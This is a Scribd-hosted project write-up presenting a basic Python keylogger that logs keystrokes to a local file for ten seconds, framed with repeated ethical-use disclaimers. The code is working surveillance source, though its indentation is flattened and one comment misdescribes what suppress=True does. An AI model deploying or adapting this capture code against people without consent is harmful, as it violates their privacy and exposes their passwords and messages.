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Keylogger Program - Python

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ShivaPreethi
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14 views

Keylogger Program - Python

Uploaded by

ShivaPreethi
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
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Basic Keylogger Program for Logging Keystrokes

Objective
The main objective of this project is to create a basic keylogger that captures and logs
keystrokes. The program saves the keystrokes to a file for review and learning purposes,
with ethical considerations in place. This project emphasizes the importance of using
keylogging tools responsibly and strictly for approved purposes, like testing, research,
or authorized monitoring.

Features
1. Records each keystroke made on the keyboard, storing the information to be
analyzed later.
2. Runs for a specified duration (10 seconds in this example) to limit data collection.
3. Saves keystrokes to a text file (key_log.txt) for review and record-keeping.
4. Designed with clear ethical guidelines to ensure responsible use.

How It Works
The program uses Python’s keyboard library to monitor and log keystrokes:
 Step 1: When the program starts, it initiates logging for a set period (10 seconds
in this example).
 Step 2: Each keystroke is captured and recorded to a Key_log file, separating
keys with spaces.
 Step 3: Once the specified time expires, the program automatically stops logging
and exits.

Requirements
 Python 3.x
 keyboard library (Install via pip install keyboard)
 Permission from the user or environment administrator to use the keylogger
(essential for ethical and legal compliance).
Code Implementation
import keyboard
import time
from datetime import datetime

log_file = "key_log.txt"
timeout = 10 # Timeout in seconds

def log_key(key):
try:
with open(log_file, "a") as file:
file.write(key.name)
file.write(" ")
except Exception as e:
print(f"Error: {e}")

def start_keylogger():
print("Starting keylogger... (Ethical use only with permission)")
start_time = time.time()

# Record keys until the timeout


while time.time() - start_time < timeout:
event = keyboard.read_event(suppress=True) # Suppress output to terminal
if event.event_type == keyboard.KEY_DOWN:
log_key(event)

print("Keylogging stopped after 10 seconds. Ethical use only with permission.")


if __name__ == "__main__":
start_keylogger()

Output

Key_log.txt

Uses
 Educational and Research Purposes:---- To understand how keyloggers work and
analyze keylogging techniques in cybersecurity.
 Authorized Testing:---- Useful in controlled environments, with permission, for
testing response systems to unauthorized access.

Final Thoughts
This basic keylogger provides an introduction to how keystroke logging operates and
underlines the ethical responsibility required for projects of this nature. This tool is only
for authorized use, with an understanding that using keylogging without consent is
illegal and unethical.

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